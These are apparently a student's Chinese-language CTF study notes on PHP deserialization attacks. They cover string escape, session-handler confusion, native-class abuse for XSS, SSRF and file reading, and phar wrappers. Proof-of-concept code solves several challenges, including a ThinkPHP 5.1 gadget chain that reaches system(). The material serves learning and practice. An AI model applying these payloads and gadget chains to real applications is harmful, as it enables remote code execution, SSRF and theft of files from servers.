- 上次的报告已经写了反序列化的相关知识点,在安洵杯签到题的练习中,我认识到在自己还有许多不足,于是补充一些之前遗漏和更深入的知识
反序列化字符逃逸
- 字符逃逸用于题目对反序列化字符串进行正则替换,使得反序列化信息被修改(增多或者减少)利用字符的增多和减少来插入字符并且闭环原反序列化字符串
- 字符逃逸的原理是反序列化的过程就是碰到;}与最前面的{配对后,便停止反序列化。
本地测试
<?php
class ok{
public $test;
public function __construct($f){
$this->from = $f;
}
}
$in = $_GET['in'];
if(isset($in)){
$class = new ok($in);
$class = str_replace('bb', 'a', serialize($class));
}
highlight_file(__FILE__);
echo serialize($class);
传入:
?in=bbbbbb
得到:
s:47:"O:2:"ok":2:{s:4:"test";N;s:4:"from";s:6:"aaa";}";
- 可以看到s:6:"aaa"被替换之后反序列化信息被破坏了,但这也为构造新的字符串提供了机会,比如此处s有6位,传入的6个bbbbbb只占用了3位,剩下的三位我们就可以随便构造自己想要的东西了,比如:
传入:
?in=bbbbbbbb";}"
得到:
s:53:"O:2:"ok":2:{s:4:"test";N;s:4:"from";s:12:"aaaa";}"";}";
- 可以看出这里提前闭合了反序列化字符串,闭环处前面就可随便构造了
例题
- 字符被替换减少就会出现类似s:6:"aaa"的情况,多出来的字符位可以给我们提供安插闭环的空间
- 作业的第一题(这题其实可以不用字符逃逸)
message.php:
<?php
highlight_file(__FILE__);
include('flag.php');
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
if(isset($_COOKIE['msg'])){
$msg = unserialize(base64_decode($_COOKIE['msg']));
if($msg->token=='admin'){
echo $flag;
}
}
index.php:
<?php
error_reporting(0);
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];
if(isset($f) && isset($m) && isset($t)){
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
setcookie('msg',base64_encode($umsg));
echo 'Your message has been sent';
}
highlight_file(__FILE__);
- 只需要对象的token属性为admin即可,如果直接改token的初始值是不行的,考虑字符逃逸将token弄没
直接传参的结果:
O:7:"message":4:{s:4:"from";s:2:"he";s:3:"msg";s:2:"ha";s:2:"to";s:3:"hei";s:5:"token";s:4:"user";}
目标结果:
O:7:"message":4:{s:4:"from";s:2:"he";s:3:"msg";s:2:"ha";s:2:"to";s:3:"hei";s:5:"token";s:5:"admin";}
目标闭环结果:
O:7:"message":4:{s:4:"from";s:2:"he";s:3:"msg";s:2:"ha";s:2:"to";s:29:"he";s:5:"token";s:5:"admin";}";s:5:"token";s:4:"user";}
- 对于目标闭环结果,反序列化时admin只有5位,而序列化有8位,借助上面的原理就可以让字符平白多3位
每传一个fuck而变成loveu,就会使29不变而字符串+1
传27个fuck就行辣
127.0.0.1/2.php?f=he&m=ha&t=hefuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
方法就是这样了,为啥没成功啊55555
session反序列化
php : a|s:3:"wzk";
php_serialize : a:1:{s:1:"a";s:3:"wzk";}
php_binary : as:3:"wzk";
- 网站默认是php引擎,serialize是php_serialize引擎,这种情况下会产生漏洞
- ini_set函数被用户控制也会产生漏洞
ini_set('session.serialize_handler', 'php');//设置php.ini的反序列化引擎
- session是一个数组,默认被序列化传输,如果在php_serialize序列化得到的字符串前面加上|,而反序列化引擎是php,php引擎就会认为|后面是键值从而自动反序列化
原生类
Error内置类(xss)
适用于php7版本
在开启报错的情况下
<?php
$a = unserialize($_GET['cmd']);
echo $a;
?>
<?php
$a = new Error("<script>alert('xss')</script>");
$b = serialize($a);
echo urlencode($b);
?>
Exception内置类(xss)
适用于php5、7版本
开启报错的情况下
<?php
$a = unserialize($_GET['cmd']);
echo $a;
?>
<?php
$a = new Exception("<script>alert('xss')</script>");
$b = serialize($a);
echo urlencode($b);
?>
SoapClient类(ssrf+crsf)
crsf
CRLF是”回车 + 换行”(\r\n)的简称。在HTTP协议中,HTTP Header与HTTP Body是用两个CRLF分隔的,浏览器就是根据这两个CRLF来取出HTTP 内容并显示出来。所以,一旦我们能够控制HTTP 消息头中的字符,注入一些恶意的换行,这样我们就能注入一些会话Cookie或者HTML代码
- 在soapclicent中可以控制ua字段,通过/r/n可以控制其他的字段(比如cookie)
sopclient
<?php
$a = new SoapClient(null,array('location'=>'http://ip:10000/aaa', 'user_agent'=>'老铁666/r/nContent-Type: application/x-www-form-urlencoded^^'));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->a(); // 随便调用对象中不存在的方法, 触发__call方法进行ssrf
?>
DirectoryIterator 类
- 会创建一个指定目录的迭代器。当执行到echo函数时,会触发DirectoryIterator类中的
__toString()
方法,输出指定目录里面经过排序之后的第一个文件名
<?php
$dir=new DirectoryIterator("/");
echo $dir;
- 但是这样只能输出文件夹中的第一个文件,如果要输出所有文件需要结合glob协议
<?php
$dir=new DirectoryIterator("glob:///flag");
echo $dir;
FilesystemIterator 类
- FilesystemIterator 类与 DirectoryIterator 类相同,提供了一个用于查看文件系统目录内容的简单接口。该类的构造方法将会创建一个指定目录的迭代器。
<?php
$dir=new FilesystemIterator("/");
- 和上面一样,只能输出第一个,但是不知道能不能用glob
GlobIterator类
- GlobIterator 类也可以遍历一个文件目录,使用方法与前两个类也基本相似。但与上面略不同的是其行为类似于 glob(),可以通过模式匹配来寻找文件路径
<?php
$dir = $_GET['cmd'];
$a = new GlobIterator($dir);
?>
SplFileObject 类
- SplFileInfo 类为单个文件的信息提供了一个高级的面向对象的接口,可以用于对文件内容的遍历、查找、操作
- 和上面的类一样,也只能读第一行,如果要读完只能写循环语句
<?php
$context = new SplFileObject('/etc/passwd');
echo $context;
phar反序列化
一个生成phar的脚本:
<?php
class Test{
public $username = 'xiaolong';
}
$p = new Test();
$phar = new Phar("test.phar");//后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER();?>");//设置stub
$phar->setMetadata($p);//将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test");//添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
- 上传成功后执行:include('phar://test.phar');即可
如果phar不能放在首位也可以包含下面语句:
compress.bzip://phar:///test.phar/test.txt
compress.bzip2://phar:///test.phar/test.txt
compress.zlib://phar:///home/sx/test.phar/test.txt
php://filter/resource=phar:///test.phar/test.txt
php://filter/read=convert.base64-encode/resource=phar://phar.phar
5道题目
第一题
message.php:
<?php
highlight_file(__FILE__);
include('flag.php');
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
if(isset($_COOKIE['msg'])){
$msg = unserialize(base64_decode($_COOKIE['msg']));
if($msg->token=='admin'){
echo $flag;
}
}
index.php:
<?php
error_reporting(0);
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];
if(isset($f) && isset($m) && isset($t)){
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
setcookie('msg',base64_encode($umsg));
echo 'Your message has been sent';
}
highlight_file(__FILE__);
- 字符逃逸的方法上面已经写到了,这里就写一个巧妙的方法吧
poc
<?php
highlight_file(__FILE__);
include('flag.php');
class message{
public $from=a;
public $msg=b;
public $to=c;
public $token='admin';
}
}
$q=new message;
echo base64_encode(serialize($q));
- cookie传入msg即可,messge.php没有可以被触发的魔术方法,所以我们设定的token=admin不会被改回去
第二题
Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}
- 一个常规的pop
- 从show类进去,$this->source触发tostring
- return $this->str->source 触发get
- $function() 触发invoke()
- $this->append($this->var) 触发append,成功包含flag文件
- 唯一有点坑的地方就是不能直接包含flag.php,要base64转码去读
poc
<?php
class Modifier {
protected $var="flag.php";
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __get($key){
$function = $this->p;
return $function();
}
}
$a=new Show;
$a->source=new Show;
$a->source->str=new Test;
$a->source->str->p=new Modifier;
//$a->str->w->var='php://filter/read=convert.base64-encode/resource=flag.php';
echo urlencode(serialize($a));
?>
第三题
<?php
error_reporting(0);
highlight_file(__FILE__);
#Something useful for you : https://zhuanlan.zhihu.com/p/377676274
class Start{
public $name;
protected $func;
public function __destruct()
{
echo "Welcome to NewStarCTF, ".$this->name;
}
public function __isset($var)
{
($this->func)();
}
}
class Sec{
private $obj;
private $var;
public function __toString()
{
$this->obj->check($this->var);
return "CTFers";
}
public function __invoke()
{
echo file_get_contents('/flag');
}
}
class Easy{
public $cla;
public function __call($fun, $var)
{
$this->cla = clone $var[0];
}
}
class eeee{
public $obj;
public function __clone()
{
if(isset($this->obj->cmd)){
echo "success";
}
}
}
if(isset($_POST['pop'])){
unserialize($_POST['pop']);
}
- 一个常规的pop
- echo "Welcome to NewStarCTF, ".$this->name; 触发tostring
- $this->obj->check($this->var) 触发call
- $this->cla = clone $var[0]; 触发clone
- isset($this->obj->cmd) 触发isset
- ($this->func)(); 触发invoke包含flag
- 唯一有点坑的地方是post传参,不是get,,,,
poc
<?php
error_reporting(0);
highlight_file(__FILE__);
class Start{
public $name;
public $func;
}
class Sec{
public $obj;
public $var;
}
class Easy{
public $cla;
}
class eeee{
public $obj;
}
$q=new Start;
$q->name=new Sec;
$q->name->obj=new Easy;
$q->name->var=new eeee;
$q->name->var->obj=new Start;
$q->name->var->obj->func=new Sec;
echo serialize($q);
thinkphpv5.1
- 框架漏洞题目,搜索thinkphpv5.1,得到漏洞的pop链
poc
<?php
namespace think;
abstract class Model{
protected $append = [];
private $data = [];
function __construct(){
$this->append = ["Sentiment"=>["hello"]];
$this->data = ["Sentiment"=>new Request()];
}
}
class Request
{
protected $hook = [];
protected $filter = "system";
protected $config = [
// 表单请求类型伪装变量
'var_method' => '_method',
// 表单ajax伪装变量
'var_ajax' => '_ajax',
// 表单pjax伪装变量
'var_pjax' => '_pjax',
// PATHINFO变量名 用于兼容模式
'var_pathinfo' => 's',
// 兼容PATH_INFO获取
'pathinfo_fetch' => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
// 默认全局过滤方法 用逗号分隔多个
'default_filter' => '',
// 域名根,如thinkphp.cn
'url_domain_root' => '',
// HTTPS代理标识
'https_agent_name' => '',
// IP代理获取标识
'http_agent_ip' => 'HTTP_X_REAL_IP',
// URL伪静态后缀
'url_html_suffix' => 'html',
];
function __construct(){
$this->filter = "system";
$this->config = ["var_ajax"=>''];
$this->hook = ["visible"=>[$this,"isAjax"]];
}
}
namespace think\process\pipes;
use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
private $files = [];
public function __construct()
{
$this->files=[new Pivot()];
}
}
namespace think\model;
use think\Model;
class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>
- 拿到链子之后就要找注入点了,下载源文件,发现根目录是public文件夹,翻了一下发现除了没有用的index.php还有一个router.php,查看内容后者也没有什么用
- 那么问题来了:漏洞存在于和网站根目录同级的其他文件夹下面,但是我们访问不了,再查一下,得到了URL 解析模式这个东东
ThinkPHP 框架非常多的操作都是通过 URL 来实现的;
http://serverName/index.php/模块/控制器/操作/参数/值…;
index.php 为入口文件,在 public 目录内的 index.php 文件;
模块在 application 目录下默认有一个 index 目录,这就是一个模块;
而在 index 目录下有一个 controller 控制器目录的 Index.php 控制器;
Index.php 控制器的类名也必须是 class Index,否则错误;
而操作就是控制器 class Index 里面的方法,比如:index 或 hello;
那么完整形式为:public/index.php/index/index/index
官方给的默认模块,默认控制器,默认操作都是 index,所以出现四个 index;
而操作还另给了一个带参数的方法:hello,如下:
那么完整形式为:public/index.php/index/index/hello/name/Lee
- 经过测试和上网查找,/index.php/index/index/hello表示进入同级文件夹application下的index文件夹下的index目录下的index.php并且调用了index.php中的hello函数
- 这样,我们就拥有了除了public文件夹的访问权之外的application\index\controller\index.php的访问权
- 一共就只能访问到三个php文件,仔细看看,入口就在application\index\controller\index.php里面了
- parse_str把接收的参数给$haha,再把参数从$haha里面提取出来
比如传入
a=114514
经过parse_str
array('a'=>"114514",'b'=>"123456")
extract之后
a=114514
b=123456
- 所以本题虽然不能传hello,但是可以通过这种方法传一个world[hello]=xxxxx,就等价于hello=xxxxx了
- 那么我们就通过world[a]=xxxx成功控制了文件包含漏洞,但是死在了上传文件的这一步上面
bestphp's revenge
- 在做安洵杯baby(beibi)php签(quan)到(tui)题之前,先拿这道题练一下原生类+session反序列化吧
<?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET['f'], $_POST);
session_start();
if (isset($_GET['name'])) {
$_SESSION['name'] = $_GET['name'];
}
var_dump($_SESSION);
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
call_user_func($b, $a);
?> array(0) { }
- 题目提示flag在flag.php里,和安洵杯一样,用soapclient打ssrf即可
- name可以传入soapclient的序列化值
- 和上面tjinkphpv5.1那道题目一样,call_user_func($_GET['f'], $_POST);提供了一个变量覆盖的接口,$_GET['f']接收函数名为extract,post传入a=114514,就可以得到$a=114514
- 关于extract的一个有趣的本地测试
构造一个extract的例子:
<?php
call_user_func('extract', $_POST);
//extract($lihai);
print_r($a);
?>
测试:
传入a[20]=114514 $a为空值
传入lihai[a]=1 $a为空值,$lihai为Array ( [a] => 1 )
注意第二次测试中extract的作用并没有实现,如果再extract一下:
<?php
call_user_func('extract', $_POST);
extract($lihai);
print_r($a);
?>
测试:
传入lihai[a]=1 $lihai依然为Array ( [a] => 1 ),$a却不为空值了!
如果第一次传入数字,就得extract两次才能出键名的值,感觉可以用这个出一个超级坑的题目
- 继续题目,可以通过上述结论覆盖b变量,为了实现soap的调用,就得触发tostring,call_user_func($soap,'welcome_to_the_lctf2018')就会把soap当成字符串,所以覆盖$b为call_user_func,session传入实例化后的soapclient的对象
- emmm~本题和安洵杯的babyphp后面一起补上吧(ps:师傅说他出的这道题之前看了一些lctf这道🤣)
安洵杯babyphp